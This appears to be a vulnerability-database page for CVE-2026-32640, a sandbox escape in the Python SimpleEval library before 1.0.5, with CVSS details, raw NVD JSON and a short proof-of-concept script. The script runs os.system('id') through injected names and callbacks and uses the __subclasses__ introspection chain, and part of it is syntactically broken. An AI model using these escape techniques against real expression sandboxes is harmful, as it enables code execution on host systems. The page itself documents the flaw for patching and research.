Security Vulnerability Report
中文
CVE-2026-32640 CVSS 9.8 CRITICAL

CVE-2026-32640

Published: 2026-03-16 14:19:41
Last Modified: 2026-04-21 16:16:20

Description

SimpleEval is a library for adding evaluatable expressions into python projects. Prior to 1.0.5, objects (including modules) can leak dangerous modules through to direct access inside the sandbox. If the objects you've passed in as names to SimpleEval have modules or other disallowed / dangerous objects available as attrs. Additionally, dangerous functions or modules could be accessed by passing them as callbacks to other safe functions to call. The latest version 1.0.5 has this issue fixed. This vulnerability is fixed in 1.0.5.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:danthedeckie:simpleeval:*:*:*:*:*:python:*:* - VULNERABLE
SimpleEval < 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import simpleeval # PoC for CVE-2026-32640 SimpleEval Sandbox Escape # This demonstrates how dangerous attributes can leak through the sandbox def exploit_simpleeval(): """ Demonstrates the sandbox escape vulnerability in SimpleEval < 1.0.5 """ # Create a SimpleEval instance s = simpleeval.SimpleEval() # Method 1: Access dangerous modules through passed objects # If you pass an object that has access to os module as 'names' try: # Inject os module through names parameter s.names = {'os': __import__('os')} # This should be blocked but wasn't in vulnerable versions result = s.eval('os.system("id")') print(f"Method 1 Success: {result}") except Exception as e: print(f"Method 1 Blocked: {e}") # Method 2: Use class introspection to access builtins try: # Classic Python sandbox escape via class hierarchy expression = "" ().__class__.__bases__[0].__subclasses__()" # This traverses the object hierarchy to find dangerous classes result = s.eval(expression) print(f"Method 2 found {len(result)} subclasses") except Exception as e: print(f"Method 2 Blocked: {e}") # Method 3: Callback injection via safe functions try: # Pass dangerous function as callback to map s.names = {'dangerous_func': __import__('os').system} expression = "map(dangerous_func, ['id'])" result = s.eval(expression) print(f"Method 3 Success: {list(result)}") except Exception as e: print(f"Method 3 Blocked: {e}") if __name__ == "__main__": exploit_simpleeval()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32640", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:40.930", "lastModified": "2026-04-21T16:16:19.963", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "SimpleEval is a library for adding evaluatable expressions into python projects. Prior to 1.0.5, objects (including modules) can leak dangerous modules through to direct access inside the sandbox. If the objects you've passed in as names to SimpleEval have modules or other disallowed / dangerous objects available as attrs. Additionally, dangerous functions or modules could be accessed by passing them as callbacks to other safe functions to call. The latest version 1.0.5 has this issue fixed. This vulnerability is fixed in 1.0.5."}, {"lang": "es", "value": "SimpleEval es una biblioteca para añadir expresiones evaluables en proyectos de python. Antes de la 1.0.5, los objetos (incluidos los módulos) pueden filtrar módulos peligrosos a través de acceso directo dentro del sandbox. Si los objetos que ha pasado como nombres a SimpleEval tienen módulos u otros objetos no permitidos / peligrosos disponibles como atributos. Además, se podría acceder a funciones o módulos peligrosos pasándolos como callbacks a otras funciones seguras para llamar. La última versión 1.0.5 tiene este problema solucionado. Esta vulnerabilidad está solucionada en la 1.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:danthedeckie:simpleeval:*:*:*:*:*:python:*:*", "versionEndExcluding": "1.0.5", "matchCriteriaId": "C9A859E2-F55C-4011-8788-24C3E3C3FB22"}]}]}], "references": [{"url": "https://github.com/danthedeckie/simpleeval/security/advisories/GHSA-44vg-5wv2-h2hg", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00023.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}